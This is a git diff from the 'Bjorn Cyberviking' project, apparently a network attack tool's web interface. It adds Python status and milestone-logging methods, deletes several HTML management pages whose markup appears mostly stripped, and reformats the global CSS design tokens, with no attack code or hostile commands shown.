debug_print(self, message: str): """Print debug message if debug mode is enabled""" if self.config.get('debug_mode', False): - logger.debug(message) \ No newline at end of file + logger.debug(message) + + def get_status(self) -> Dict[str, Any]: + """Get current system status (Thread-safe)""" + with self.status_lock: + return self.curr_status.copy() + + def update_status(self, status: str, details: str = ""): + """Update system status (Thread-safe)""" + with self.status_lock: + self.curr_status = { + "status": status, + "details": details, + "timestamp": time.time() + } + + def log_milestone(self, action_name: str, phase: str, details: str = ""): + """ + Broadcasting real-time milestones to the web console and logs. + Used for granular progress tracking in the UI. + """ + milestone_data = { + "action": action_name, + "phase": phase, + "details": details, + "timestamp": datetime.now().strftime("%H:%M:%S") + } + logger.info(f"[MILESTONE] {json.dumps(milestone_data)}") + + # Also update internal state for immediate access + self.active_action = action_name + self.bjorn_status_text2 = f"{phase}: {details}" if details else phase diff --git a/utils.py b/utils.py index 1b4e0a0..1ce0c6c 100644 --- a/utils.py +++ b/utils.py @@ -20,7 +20,8 @@ class WebUtils: "studio_utils": ("web_utils.studio_utils", "StudioUtils"), "db_utils": ("web_utils.db_utils", "DBUtils"), "action_utils": ("web_utils.action_utils", "ActionUtils"), - + "rl": ("web_utils.rl_utils", "RLUtils"), + "debug_utils": ("web_utils.debug_utils", "DebugUtils"), } diff --git a/web/__init__.py b/web/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/web/actions_launcher.html b/web/actions_launcher.html deleted file mode 100644 index f819589..0000000 --- a/web/actions_launcher.html +++ /dev/null @@ -1,939 +0,0 @@ - - - - - - Bjorn - Actions Launcher - - - - - - - - - - - - - - - -
-
-
- - -
-
- -
-
- -
- -
-
-
- - -
-
-
Arguments
-
Auto-generated from action definitions
-
-
-
- -
-
-
-
-
- - -
-
-
-
-
-
- - - - -
-
- -
-
-
-
- - - - diff --git a/web/attacks.html b/web/attacks.html deleted file mode 100644 index 81f611d..0000000 --- a/web/attacks.html +++ /dev/null @@ -1,1492 +0,0 @@ - - - - - - Bjorn Cyberviking - Management Interface 1.0 - - - - - - - - - - - - - -
-
-
Management
-
- -
- - -
-
- - - -
-
- - - - -
-
- - -
- -
-
    -
    - - -
    -
    - No attacks found. Import a .py attack with "Add Attack". -
    -
    - - -
    -

    Characters

    -
    -
      -
      - - -
      - - -

      Web Images

      -
        - -

        Actions Images

        -
          - - -

          Static Images

          -
            -

            Status Images

            -
              -
              - - -
              -
                -
                - - - -
                -
                No comments found.
                -
                -
                -
                - - -
                - -
                -
                -
                -

                Select an Attack

                -
                - - -
                -
                - -
                -
                - - -
                -
                - Enter Edit Mode - - -
                - 🔎 - -
                -
                - Density - -
                - - - - - - - - - - - - - - -
                -
                -
                - - -
                -
                -

                Comments

                - - -
                -
                -
                -
                -
                -
                - - -
                -
                - × -

                Add New Action

                -
                - - -
                -
                - - -
                -
                - - -
                -
                - - -
                - - -
                -
                - -
                -
                - × -

                Add Static Image

                -
                - - -
                - - -
                -
                - - -
                -
                - × -

                Add Web Image

                -
                - - -
                - - -
                -
                - - -
                -
                - × -

                Add Action Icon

                -
                - - -
                - - -
                -
                - - -
                -
                - × -

                Rename Image

                -
                - - -
                - - -
                -
                - -
                -
                - × -

                Replace Image

                -
                - - -
                - - -
                -
                - -
                -
                - × -

                Add Character Images

                -
                - - -
                - - -
                -
                - -
                -
                - × -

                Add Status Image

                -
                - - -
                - - -
                -
                - -
                -
                - × -

                Resize Selected Images

                -
                - - -
                -
                - - -
                - - -
                -
                - - - - - diff --git a/web/backup_update.html b/web/backup_update.html deleted file mode 100644 index 601839d..0000000 --- a/web/backup_update.html +++ /dev/null @@ -1,376 +0,0 @@ - - - - - - Bjorn Cyberviking - Update and Backup Management - - - - - - - - - - - - -
                -
                -
                - -
                - -
              • Icon_backupBackup / Restore
              • -
              • Icon_updateUpdate
              • - -
                -
                -

                Clear Logs

                - -
                -
                - - -
                No attacks found. Import a .py attack with “Add Attack”.
                -
                - -
                - -
                -

                Backup and Restore

                -
                - - - -
                - -

                Backup List

                - - - -
                DateDescriptionActions
                -
                - - -
                -
                -

                Update Application (From Github)

                - - - -
                -
                - - -
                - - -
                -
                - × -

                Restore Options

                -
                -

                Please select the folders to keep during restoration:

                -
                -
                -
                -

                - -
                -
                -
                - - - - diff --git a/web/bjorn.html b/web/bjorn.html deleted file mode 100644 index f2e0fc0..0000000 --- a/web/bjorn.html +++ /dev/null @@ -1,164 +0,0 @@ - - - - - - Bjorn Cyberviking - Bjorn - - - - - - - - - - - - - - -
                -
                - Bjorn -
                -
                - - - - diff --git a/web/credentials.html b/web/credentials.html deleted file mode 100644 index 0de2687..0000000 --- a/web/credentials.html +++ /dev/null @@ -1,726 +0,0 @@ - - - - - - Bjorn Cyberviking - Credentials - - - - - - - - - - - - - -
                -
                - -
                -
                🧩0services
                -
                🔐0credentials
                -
                🖥️0unique hosts
                -
                - -
                - - -
                - - -
                - -
                -
                - -
                Copied to clipboard!
                -
                - - - - diff --git a/web/css/all.min.css b/web/css/all.min.css deleted file mode 100644 index cac94d9..0000000 --- a/web/css/all.min.css +++ /dev/null @@ -1,63 +0,0 @@ -/* Font Awesome Base Styles */ -.fa, .fas { - -moz-osx-font-smoothing: grayscale; - -webkit-font-smoothing: antialiased; - display: inline-block; - font-style: normal; - font-variant: normal; - text-rendering: auto; - line-height: 1; -} - -/* Icon Definitions */ -.fa-th-list:before { - content: "\f00b"; /* Icon for toggle between list and grid view */ -} -.fa-object-group:before { - content: "\f247"; /* Icon for multi-selection */ -} -.fa-folder-plus:before { - content: "\f65e"; /* Icon for adding a new folder */ -} -.fa-edit:before { - content: "\f044"; /* Icon for renaming */ -} -.fa-arrows-alt:before { - content: "\f0b2"; /* Icon for moving */ -} -.fa-trash:before { - content: "\f1f8"; /* Icon for deletion */ -} -.fa-folder:before { - content: "\f07b"; /* Icon for folder */ -} -.fa-times:before { - content: "\f00d"; /* Icon for cancel in modals */ -} -.fa-check:before { - content: "\f00c"; /* Icon for confirmation in modals */ -} - -/* Font Faces */ -@font-face { - font-family: "Font Awesome 5 Free"; - font-style: normal; - font-weight: 400; - font-display: block; - src: url(../css/fonts/fa-regular-400.woff2) format("woff2"), - url(../css/fonts/fa-regular-400.woff) format("woff"), - url(../css/fonts/fa-regular-400.ttf) format("truetype"); -} -@font-face { - font-family: "Font Awesome 5 Free"; - font-style: normal; - font-weight: 900; - font-display: block; - src: url(../css/fonts/fa-solid-900.woff2) format("woff2"), - url(../css/fonts/fa-solid-900.woff) format("woff"), - url(../css/fonts/fa-solid-900.ttf) format("truetype"); -} -.fas { - font-family: "Font Awesome 5 Free"; - font-weight: 900; -} diff --git a/web/css/global.css b/web/css/global.css index 4353af7..dc35272 100644 --- a/web/css/global.css +++ b/web/css/global.css @@ -1,631 +1,1961 @@ /* ====================================================================== - Bjorn Global CSS — Tokens + Components (cleaned, deduped, variabilized) - Single source of truth for design tokens & components across pages - ---------------------------------------------------------------------- - • All colors come from :root variables. No standalone literals allowed. - • Duplicates merged; conflicting blocks unified; comments explain intent. - • Safe defaults + mobile-first tweaks; keeps your AcidBurn/Nordic vibe. + Bjorn SPA — Global Design Tokens & Base Components + Single source of truth for CSS variables, resets, and shared components. ====================================================================== */ /* ============================== 0) Design Tokens (CSS Vars) ============================== */ -:root{ - /* ---- Base palette (solids) --------------------------------------- */ - --black:#000000; /* .black #000000 */ - --white:#ffffff; /* .white #ffffff */ - --bg:#050709; /* page background */ - --bg-2:#0b0f14; /* secondary background */ - --ink:#e6fff7; /* primary text */ - --muted:#8affc1cc; /* subdued text */ - --acid:#00ff9a; /* neon green primary accent */ - --acid-2:#18f0ff; /* cyan secondary accent */ - --danger:#ff3b3b; /* error/danger */ - --warning:#ffd166; /* warning */ - --ok:#2cff7e; /* success/ok */ - --ink-invert:#001014; /* text on bright chips */ +:root { + /* ---- Base palette ------------------------------------------------- */ + --black: #000000; + --white: #ffffff; + --bg: #050709; + --bg-2: #0b0f14; + --ink: #e6fff7; + --muted: #8affc1cc; + --acid: #00ff9a; + --acid-2: #18f0ff; + --danger: #ff3b3b; + --warning: #ffd166; + --ok: #2cff7e; + --ink-invert: #001014; + --critical: #ff3b3b; - /* ---- Extended opacities (avoid raw rgba) ------------------------- */ - --black-00:rgba(0,0,0,0); /* fully transparent */ - --black-10:rgba(0,0,0,.10); - --black-50:rgba(0,0,0,.5); - --white-05:rgba(255,255,255,.05); - --white-06:rgba(255,255,255,.06); - --white-10:rgba(255,255,255,.10); - --white-12:rgba(255,255,255,.12); - --white-20:rgba(255,255,255,.20); + /* ---- Extended opacities ------------------------------------------- */ + --black-00: rgba(0, 0, 0, 0); + --black-10: rgba(0, 0, 0, .10); + --black-50: rgba(0, 0, 0, .5); + --white-05: rgba(255, 255, 255, .05); + --white-06: rgba(255, 255, 255, .06); + --white-10: rgba(255, 255, 255, .10); + --white-12: rgba(255, 255, 255, .12); + --white-20: rgba(255, 255, 255, .20); - /* ---- Surfaces / panels ------------------------------------------- */ - --panel:#0e1717; /* base card surface */ - --panel-2:#101c1c; /* deeper card */ - --border:#0f2b2b; /* neutral border */ - --c-btn:#0d151c; /* button surface */ - --c-panel:#0b1218; /* control surface */ - --c-panel-2:#0a1118; /* alt control surface */ - --c-pill-bg:#0c141b; /* pill bg */ - --c-chip-bg:#07121a; /* chip bg */ - --c-slot:#0e1a22; /* small slot/bg bars */ - --neutral-44:#444444; /* status neutral dot */ - --muted-off:#666666; /* disabled */ + /* ---- Surfaces / panels -------------------------------------------- */ + --panel: #0e1717; + --panel-2: #101c1c; + --border: #0f2b2b; + --c-btn: #0d151c; + --c-panel: #0b1218; + --c-panel-2: #0a1118; + --c-pill-bg: #0c141b; + --c-chip-bg: #07121a; + --c-slot: #0e1a22; + --neutral-44: #444444; + --muted-off: #666666; - /* ---- Brand accents ------------------------------------------------ */ - --accent:#22f0b4; /* brand accent A */ - --accent-2:#18d6ff; /* brand accent B */ - --ring:color-mix(in oklab, var(--accent) 60%, var(--white) 8%); + /* ---- Brand accents ------------------------------------------------ */ + --accent: #22f0b4; + --accent-2: #18d6ff; + --ring: color-mix(in oklab, var(--accent) 60%, var(--white) 8%); - /* ---- Borders (themed) -------------------------------------------- */ - --c-border:#00ffff22; /* subtle */ - --c-border-strong:#00ffff33; /* medium */ - --c-border-hi:#00ffff44; /* high */ - --c-border-muted:#00ffff11; /* hairline */ + /* ---- Borders (themed) --------------------------------------------- */ + --c-border: #00ffff22; + --c-border-strong: #00ffff33; + --c-border-hi: #00ffff44; + --c-border-muted: #00ffff11; - /* ---- Overlays / glass -------------------------------------------- */ - --overlay-bg:rgba(5,9,15,.55); /* soft overlay */ - --overlay-solid:rgba(7,16,24,.92); /* dense overlay */ - --glass-8:#00000088; /* glass tint */ + /* ---- Overlays / glass --------------------------------------------- */ + --overlay-bg: rgba(5, 9, 15, .55); + --overlay-solid: rgba(7, 16, 24, .92); + --glass-8: #00000088; + --backdrop-dim: rgba(0, 0, 0, .55); - /* ---- Scrollbars --------------------------------------------------- */ - --sb-size:10px; - --sb-track:#07121a; - --sb-thumb:#09372b; - --sb-thumb-hi:var(--acid); - --sb-outline:#00ff9a33; + /* ---- Scrollbars --------------------------------------------------- */ + --sb-size: 10px; + --sb-track: #07121a; + --sb-thumb: #09372b; + --sb-thumb-hi: var(--acid); + --sb-outline: #00ff9a33; - /* ---- Switch / toggles -------------------------------------------- */ - --switch-track:#111111; - --switch-on-bg:#022a1a; - --switch-thumb:var(--acid); + /* ---- Switch / toggles --------------------------------------------- */ + --switch-track: #111111; + --switch-on-bg: #022a1a; + --switch-thumb: var(--acid); - /* ---- Slider (number input) --------------------------------------- */ - --slider-h:6px; - --slider-thumb:var(--acid); - --slider-thumb-size:18px; - --slider-track:color-mix(in oklab, var(--acid) 18%, var(--c-panel)); - --slider-track-fill:color-mix(in oklab, var(--acid) 42%, var(--c-panel)); - --slider-focus:color-mix(in oklab, var(--acid) 60%, transparent); + /* ---- Slider ------------------------------------------------------- */ + --slider-h: 6px; + --slider-thumb: var(--acid); + --slider-thumb-size: 18px; + --slider-track: color-mix(in oklab, var(--acid) 18%, var(--c-panel)); + --slider-track-fill: color-mix(in oklab, var(--acid) 42%, var(--c-panel)); + --slider-focus: color-mix(in oklab, var(--acid) 60%, transparent); - /* ---- Effects / glows / shadows ----------------------------------- */ - --acid-0f:#00ff9a0f; - --acid-1a:#00ff9a1a; - --acid-2a:#00ff9a2a; - --acid-22:#00ff9a22; - --acid-33:#00ff9a33; - --glow-weak:var(--acid-10, #00ff9a10); - --glow-mid:#00ff9a22; - --glow-strong:#00ff9a33; - --grid:repeating-linear-gradient(0deg, transparent 0 28px, var(--acid-0f) 28px 29px), repeating-linear-gradient(90deg, transparent 0 28px, var(--acid-0f) 28px 29px); - --shadow:0 10px 30px var(--acid-1a), inset 0 0 0 1px var(--acid-22); - --shadow-hover:0 14px 34px var(--acid-2a), inset 0 0 0 1px var(--acid-33); - --resize-stripe:linear-gradient(90deg, transparent 0 40%, var(--glow-strong) 40% 60%, transparent 60% 100%); - --text-gradient:linear-gradient(180deg, transparent 0%, #00ff9a07 70%, #01180f8c 100%); + /* ---- Effects / glows / shadows ------------------------------------ */ + --acid-0f: #00ff9a0f; + --acid-1a: #00ff9a1a; + --acid-2a: #00ff9a2a; + --acid-22: #00ff9a22; + --acid-33: #00ff9a33; + --glow-weak: var(--acid-0f); + --glow-mid: #00ff9a22; + --glow-strong: #00ff9a33; + --shadow: 0 10px 30px var(--acid-1a), inset 0 0 0 1px var(--acid-22); + --shadow-hover: 0 14px 34px var(--acid-2a), inset 0 0 0 1px var(--acid-33); + --grid: repeating-linear-gradient(0deg, transparent 0 28px, var(--acid-0f) 28px 29px), repeating-linear-gradient(90deg, transparent 0 28px, var(--acid-0f) 28px 29px); + --resize-stripe: linear-gradient(90deg, transparent 0 40%, var(--glow-strong) 40% 60%, transparent 60% 100%); + --text-gradient: linear-gradient(180deg, transparent 0%, #00ff9a07 70%, #01180f8c 100%); + --elev: var(--shadow); - /* ---- Gradients ---------------------------------------------------- */ - --grad-bg-1:radial-gradient(1000px 500px at 10% -5%, #0aff9922, transparent 60%); - --grad-bg-2:radial-gradient(800px 400px at 110% 10%, #18f0ff22, transparent 60%); - --grad-topbar:linear-gradient(#0c1118, #0a0e14); - --grad-sidebar:linear-gradient(180deg, #0a1016, #05080c); - --grad-card:linear-gradient(180deg, #0b1218, #070b10); - --grad-bottombar:linear-gradient(#0a0e14, #091017); - --grad-hero-base:#071016; - --grad-hero:radial-gradient(800px 200px at 80% -20%, #18f0ff22, transparent 60%), var(--grad-hero-base); - --grad-modal:linear-gradient(180deg, #0a1016, #05080c); - --grad-quickpanel:linear-gradient(180deg, #09111a, #050a0f); - --grad-console:linear-gradient(180deg, #071018, #05090f); - --grad-dropdown:linear-gradient(180deg, #0a1116, #05090f); - --grad-chip-selected:linear-gradient(180deg, #0b151c, #091219); - --grad-qprow:linear-gradient(180deg, #09121a, #080e14); + /* ---- Gradients ---------------------------------------------------- */ + --grad-bg-1: radial-gradient(1000px 500px at 10% -5%, #0aff9922, transparent 60%); + --grad-bg-2: radial-gradient(800px 400px at 110% 10%, #18f0ff22, transparent 60%); + --grad-topbar: linear-gradient(#0c1118, #0a0e14); + --grad-sidebar: linear-gradient(180deg, #0a1016, #05080c); + --grad-card: linear-gradient(180deg, #0b1218, #070b10); + --grad-bottombar: linear-gradient(#0a0e14, #091017); + --grad-hero: radial-gradient(800px 200px at 80% -20%, #18f0ff22, transparent 60%), #071016; + --grad-modal: linear-gradient(180deg, #0a1016, #05080c); + --grad-console: linear-gradient(180deg, #071018, #05090f); + --grad-chip-selected: linear-gradient(180deg, #0b151c, #091219); + --grad-hero-base: #071016; + --grad-quickpanel: linear-gradient(180deg, #09111a, #050a0f); + --grad-dropdown: linear-gradient(180deg, #0a1116, #05090f); + --grad-qprow: linear-gradient(180deg, #09121a, #080e14); - /* ---- Console severities ------------------------------------------ */ - --log-debug-ink:#c9d4df; --log-debug-bg:#2b3a48; - --log-info-ink:#ffffff; --log-info-bg:#007b99; - --log-warn-ink:#1a1200; --log-warn-bg:#ffc94d; - --log-error-ink:#ffffff; --log-error-bg:#cc2b2b; - --log-critical-ink:#ffffff; --log-critical-bg:#a00028; --log-critical-glow:#ff004444; - --log-success-ink:#002b14; --log-success-bg:var(--ok); - --log-failed-ink:#ffffff; --log-failed-bg:var(--danger); - --log-connected-ink:#00331a; --log-connected-bg:var(--acid); + /* ---- Console severities ------------------------------------------- */ + --log-debug-ink: #c9d4df; + --log-debug-bg: #2b3a48; + --log-info-ink: #ffffff; + --log-info-bg: #007b99; + --log-warn-ink: #1a1200; + --log-warn-bg: #ffc94d; + --log-error-ink: #ffffff; + --log-error-bg: #cc2b2b; + --log-critical-ink: #ffffff; + --log-critical-bg: #a00028; + --log-success-ink: #002b14; + --log-success-bg: var(--ok); + --log-failed-ink: #ffffff; + --log-failed-bg: var(--danger); + --log-connected-ink: #00331a; + --log-connected-bg: var(--acid); + --log-critical-glow: #ff004444; - /* ---- Log level badge tokens -------------------------------------- */ - --lvl-debug-top:#24323a; --lvl-debug-bot:#1a262e; --lvl-debug-ink:#9bd3ff; --lvl-debug-bdr:#2a91ff44; - --lvl-info-top:#12343a; --lvl-info-bot:#0e2a30; --lvl-info-ink:#7ee3ff; --lvl-info-bdr:#18f0ff55; - --lvl-warn-top:#3a3312; --lvl-warn-bot:#2a240e; --lvl-warn-ink:#ffd166; --lvl-warn-bdr:#ffd16666; - --lvl-error-top:#3a1616; --lvl-error-bot:#2a0e0e; --lvl-error-ink:#ff7b7b; --lvl-error-bdr:#ff3b3b66; - --lvl-crit-top:#3a1226; --lvl-crit-bot:#2a0e1d; --lvl-crit-ink:#ff8ad6; --lvl-crit-bdr:#ff4fcf66; - --lvl-succ-top:#123a22; --lvl-succ-bot:#0e2a1a; --lvl-succ-ink:#7dffb0; --lvl-succ-bdr:#2cff7e66; - --lvl-fail-top:#3a1616; --lvl-fail-bot:#2a0e0e; --lvl-fail-ink:#ff7b7b; --lvl-fail-bdr:#ff3b3b66; - --lvl-conn-top:#123a26; --lvl-conn-bot:#0e2a1a; --lvl-conn-ink:#7dffb0; --lvl-conn-bdr:#00ff9a66; - --lvl-sse-top:#b68b00; --lvl-sse-bot:#6b4601; --lvl-sse-ink:#ac7000; --lvl-sse-bdr:#ca9b0055; + /* ---- Log level badge tokens --------------------------------------- */ + --lvl-debug-top: #24323a; + --lvl-debug-bot: #1a262e; + --lvl-debug-ink: #9bd3ff; + --lvl-debug-bdr: #2a91ff44; + --lvl-info-top: #12343a; + --lvl-info-bot: #0e2a30; + --lvl-info-ink: #7ee3ff; + --lvl-info-bdr: #18f0ff55; + --lvl-warn-top: #3a3312; + --lvl-warn-bot: #2a240e; + --lvl-warn-ink: #ffd166; + --lvl-warn-bdr: #ffd16666; + --lvl-error-top: #3a1616; + --lvl-error-bot: #2a0e0e; + --lvl-error-ink: #ff7b7b; + --lvl-error-bdr: #ff3b3b66; + --lvl-crit-top: #3a1226; + --lvl-crit-bot: #2a0e1d; + --lvl-crit-ink: #ff8ad6; + --lvl-crit-bdr: #ff4fcf66; + --lvl-succ-top: #123a22; + --lvl-succ-bot: #0e2a1a; + --lvl-succ-ink: #7dffb0; + --lvl-succ-bdr: #2cff7e66; + --lvl-fail-top: #3a1616; + --lvl-fail-bot: #2a0e0e; + --lvl-fail-ink: #ff7b7b; + --lvl-fail-bdr: #ff3b3b66; + --lvl-conn-top: #123a26; + --lvl-conn-bot: #0e2a1a; + --lvl-conn-ink: #7dffb0; + --lvl-conn-bdr: #00ff9a66; + --lvl-sse-top: #b68b00; + --lvl-sse-bot: #6b4601; + --lvl-sse-ink: #ac7000; + --lvl-sse-bdr: #ca9b0055; - /* ---- Component specials (former hard-codes) ---------------------- */ - --btn-bg-solid:#0f1919; - --switch-alt-rail:#122121; - --switch-alt-thumb:#1b2b2b; - --pill-alt-bg:#122121; - --pill-alt-bdr:#143030; + /* ---- Layout / radii / sizes --------------------------------------- */ + --radius: 14px; + --h-topbar: 56px; + --h-bottombar: 56px; + --control-h: 38px; + --control-r: 10px; + --control-pad-x: 12px; + --gap-1: 6px; + --gap-2: 8px; + --gap-3: 10px; + --gap-4: 12px; - /* ---- Layout / radii / sizes -------------------------------------- */ - --radius:14px; - --h-topbar:56px; - --h-bottombar:56px; - --control-h:38px; - --control-r:10px; - --control-pad-x:12px; - --gap-1:6px; --gap-2:8px; --gap-3:10px; --gap-4:12px; - --elev:var(--shadow); + /* ---- Typography --------------------------------------------------- */ + --font-mono: 14px/1.5 ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; - /* ---- Typography --------------------------------------------------- */ - --font-mono:14px/1.5 ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; + /* ---- QuickPanel sizes --------------------------------------------- */ + --qp-h: 88vh; + --qp-overshoot: 60px; - /* ---- QuickPanel sizes -------------------------------------------- */ - --qp-h:88vh; --qp-overshoot:60px; + /* ---- Console ------------------------------------------------------ */ + --console-tab: 28px; - /* ---- Console ------------------------------------------------------ */ - --console-tab:28px; - - /* ---- Backdrop ----*/ - --backdrop-dim: rgba(0,0,0,.55); + /* ---- Backdrop ----------------------------------------------------- */ + --backdrop-dim: rgba(0, 0, 0, .55); - /* ---- Scanline helpers (no raw rgba in rules) --------------------- */ - --scanline-a:var(--black-00); - --scanline-b:var(--black-10); + /* ---- Scanline helpers --------------------------------------------- */ + --scanline-a: var(--black-00); + --scanline-b: var(--black-10); - color-scheme:dark; + /* ---- Component specials ------------------------------------------- */ + --btn-bg-solid: #0f1919; + --switch-alt-rail: #122121; + --switch-alt-thumb: #1b2b2b; + --pill-alt-bg: #122121; + --pill-alt-bdr: #143030; + + color-scheme: dark; } /* ============================== 1) Resets & Base ============================== */ -*{box-sizing:border-box} -html,body{height:100%;overflow:clip} -body{background:var(--grad-bg-1), var(--grad-bg-2), var(--bg);color:var(--ink);font:var(--font-mono)} -a{color:var(--acid);text-decoration:none} -.spacer{flex:1} -.icon{width:16px;height:16px;display:inline-block} -.scanlines{position:fixed;inset:0;pointer-events:none;opacity:.33;background-image:linear-gradient(var(--scanline-a) 50%, var(--scanline-b) 50%);background-size:100% 2px;mix-blend-mode:overlay} - -/* ============================== - 2) Scrollbars (WebKit + Firefox) - ============================== */ -*::-webkit-scrollbar{width:var(--sb-size);height:var(--sb-size)} -*::-webkit-scrollbar-track{background:var(--sb-track);border-left:1px solid var(--c-border);border-right:1px solid var(--c-border)} -*::-webkit-scrollbar-thumb{background:linear-gradient(180deg, color-mix(in oklab, var(--sb-thumb) 70%, transparent), var(--sb-thumb));border:2px solid var(--sb-track);border-radius:12px;box-shadow:0 0 14px var(--sb-outline) inset, 0 0 10px var(--sb-outline)} -*::-webkit-scrollbar-thumb:hover{background:linear-gradient(180deg, color-mix(in oklab, var(--sb-thumb-hi) 70%, transparent), var(--sb-thumb-hi))} -*::-webkit-scrollbar-corner{background:var(--sb-track)} -*{scrollbar-width:thin;scrollbar-color:var(--sb-thumb) var(--sb-track)} - -/* ============================== - 3) Layout: Topbar / Sidebar / Main / Bottombar - ============================== */ -.topbar{position:fixed;top:0;left:0;right:0;height:var(--h-topbar);display:flex;align-items:center;gap:var(--gap-3);padding:0 14px;background:var(--grad-topbar);border-bottom:1px solid var(--c-border);z-index:20} -.logo{display:flex;align-items:center;gap:10px;font-weight:700;letter-spacing:.12em;text-transform:uppercase} -.logo .sig{width:42px;height:42px;object-fit:contain;border-radius:6px;background:none!important;box-shadow:none;filter:drop-shadow(0 0 12px color-mix(in oklab, var(--acid) 60%, transparent))} -.actions{position:relative} -.dropdown{position:absolute;right:0;top:48px;min-width:320px;background:var(--grad-dropdown);border:1px solid var(--c-border-strong);border-radius:12px;box-shadow:0 20px 60px var(--glow-strong);display:none;z-index:30;overflow:hidden} -.dropdown.show{display:block} -.menuitem{display:flex;align-items:center;gap:10px;padding:10px 12px;cursor:pointer;border-bottom:1px dashed var(--c-border)} -.menuitem:last-child{border-bottom:none} -.menuitem:hover{background:var(--c-panel)} -.menuitem .mi-icon{width:16px} -@media (max-width:700px){.dropdown{top:44px;min-width:320px}} - -body:not(:has(#sidebar)) .main{left:0 !important} -.sidebar{position:fixed;left:0;top:var(--h-topbar);bottom:var(--h-bottombar);width:280px;background:var(--grad-sidebar);border-right:1px solid var(--c-border);transform:translateX(0);transition:.28s cubic-bezier(.2,.8,.2,1);z-index:15;display:flex;flex-direction:column} -.sidebar.hidden{transform:translateX(-100%)} -.sidehead{padding:12px 12px 8px;border-bottom:1px dashed var(--c-border);display:flex;align-items:center;gap:10px} -.sidetitle{font-weight:700;color:var(--muted)} -.sidecontent{padding:5px;overflow:auto;flex:1} - -.main{position:fixed;left:280px;right:0;top:var(--h-topbar);bottom:var(--h-bottombar);overflow:auto;padding:16px;transition:.25s} -.sidebar.hidden + .main{left:0} -.hero{min-height:220px;border-radius:16px;background:var(--grid), var(--grad-hero);border:1px solid var(--c-border);box-shadow:var(--shadow);display:grid;align-items:center;justify-items:center;text-align:center;padding:24px} -.hero-btn{border-radius:16px;background:var(--grid), var(--grad-hero);border:1px solid var(--c-border);box-shadow:var(--shadow);display:grid;align-items:center;justify-items:center;text-align:center;padding:6px} - -.bottombar{position:fixed;left:0;right:0;bottom:0;height:var(--h-bottombar);background:var(--grad-bottombar);border-top:1px solid var(--c-border);display:grid;grid-template-columns:1fr auto 1fr;align-items:center;gap:10px;padding:0 10px;z-index:61} -.bottombar:hover{box-shadow:0 -10px 30px var(--glow-mid), inset 0 0 0 1px var(--glow-mid)} -.bottombar.hidden{transform:translateY(100%)} -/* merged duplicate: we keep the grid variant */ -.status-left{display:grid;grid-template-columns:auto 1fr;align-items:center;column-gap:10px} -.status-text{display:grid;grid-auto-rows:min-content;row-gap:2px;min-height:40px;align-content:center} -#bjornStatus2:empty{display:none} -.status-center{display:flex;align-items:center;justify-content:center;justify-self:center;position:relative} -.status-right{display:flex;align-items:center;gap:10px;justify-self:end} -.status-character{display:flex;align-items:center;justify-content:center} -.status-character .bjorn-dropdown,.status-center .bjorn-dropdown{position:absolute;bottom:calc(100% + 6px);left:50%;transform:translateX(-50%)} -.dock{display:flex;align-items:center;gap:8px;background:var(--c-panel);border:1px solid var(--c-border-strong);border-radius:14px;padding:6px 8px;box-shadow:var(--shadow)} - -/* ============================== - 4) Helpers & Layout Utilities - ============================== */ -.grid-stack{display:grid;gap:14px} -.grid-auto-260{display:grid;grid-template-columns:repeat(auto-fit, minmax(260px, 1fr));gap:10px 16px} -.grid-auto-320{display:grid;grid-template-columns:repeat(auto-fit, minmax(320px, 1fr));gap:14px} -.align-end{justify-self:end} -.card-header{display:flex;align-items:center;justify-content:space-between;gap:10px} -.card-title{margin:0;font-weight:700;color:var(--acid)} - -/* ============================== - 5) Buttons / Pills / Chips - ============================== */ -.btn{display:inline-flex;align-items:center;gap:var(--gap-2);padding:8px 12px;border-radius:var(--control-r);background:var(--c-btn);border:1px solid var(--c-border-strong);color:var(--ink);cursor:pointer;user-select:none;transition:.2s;box-shadow:var(--shadow)} -.btn:hover{transform:translateY(-1px);box-shadow:var(--shadow-hover)} -.btn .dot{width:8px;height:8px;border-radius:50%;background:var(--acid);box-shadow:0 0 12px var(--acid)} - -.pill{padding:4px 8px;border-radius:10px;border:1px solid var(--c-border);background:var(--c-pill-bg);color:var(--muted)} - -.chips{display:flex;flex-wrap:wrap;gap:8px} -.chips.nowrap{flex-wrap:nowrap;overflow:auto;scrollbar-width:thin} -.chips.center{justify-content:center} -.chips.end{justify-content:flex-end} -.chip{display:inline-flex;align-items:center;gap:8px;padding:6px 10px;border-radius:999px;background:var(--c-chip-bg);border:1px solid var(--c-border-hi);cursor:pointer;user-select:none;transition:.18s} -.chip:hover{box-shadow:0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak)} -.chip:active{transform:translateY(1px)} -.chip:focus-visible{outline:2px solid color-mix(in oklab, var(--acid) 55%, transparent);outline-offset:2px} -.chip .icon{flex:0 0 auto} -.chip-close{all:unset;display:inline-grid;place-items:center;cursor:pointer;padding:0 6px;height:22px;min-width:22px;border-radius:6px;border:1px solid var(--c-border);background:var(--c-panel-2)} -.chip-close:hover{box-shadow:0 0 0 1px var(--c-border) inset, 0 0 10px var(--glow-strong)} -.chip[aria-selected="true"],.chip.is-selected{background:var(--grad-chip-selected);border-color:color-mix(in oklab, var(--acid) 55%, transparent)} -.chip.is-ghost{background:transparent;border-style:dashed} -.chip.is-ok{border-color:color-mix(in oklab, var(--ok) 65%, transparent)} -.chip.is-warn{border-color:color-mix(in oklab, var(--warning) 65%, transparent)} -.chip.is-danger{border-color:color-mix(in oklab, var(--danger) 65%, transparent)} -.chip.sm{padding:4px 8px;font-size:12px} -.chip.lg{padding:8px 12px;font-size:15px} -.chip[draggable="true"]{cursor:grab} -.chip.dragging{opacity:.7;outline:2px dashed var(--c-border-hi)} - -.chips-input{display:flex;align-items:center;gap:8px;flex-wrap:wrap;border:1px dashed var(--c-border);border-radius:10px;background:var(--c-panel);padding:8px 10px} -.chips-input input{flex:1;min-width:120px;background:transparent;border:1px solid var(--c-border-strong);border-radius:8px;padding:6px 8px;color:var(--ink)} -.chips-input input::placeholder{color:var(--muted)} -.chips-input .chip{margin:0} - -.chip-field{display:grid;gap:8px;padding:8px 10px;border:1px dashed var(--c-border);border-radius:10px;background:var(--c-panel)} -.chip-field>label{font-weight:700;color:var(--muted);word-break:break-all} -.chip-list{display:flex;flex-wrap:wrap;gap:8px} - -/* ============================== - 6) Forms (fields, toggles, inputs) - ============================== */ -.form-field{display:grid;gap:8px;padding:8px 10px;border:1px dashed var(--c-border);border-radius:10px;background:var(--c-panel)} 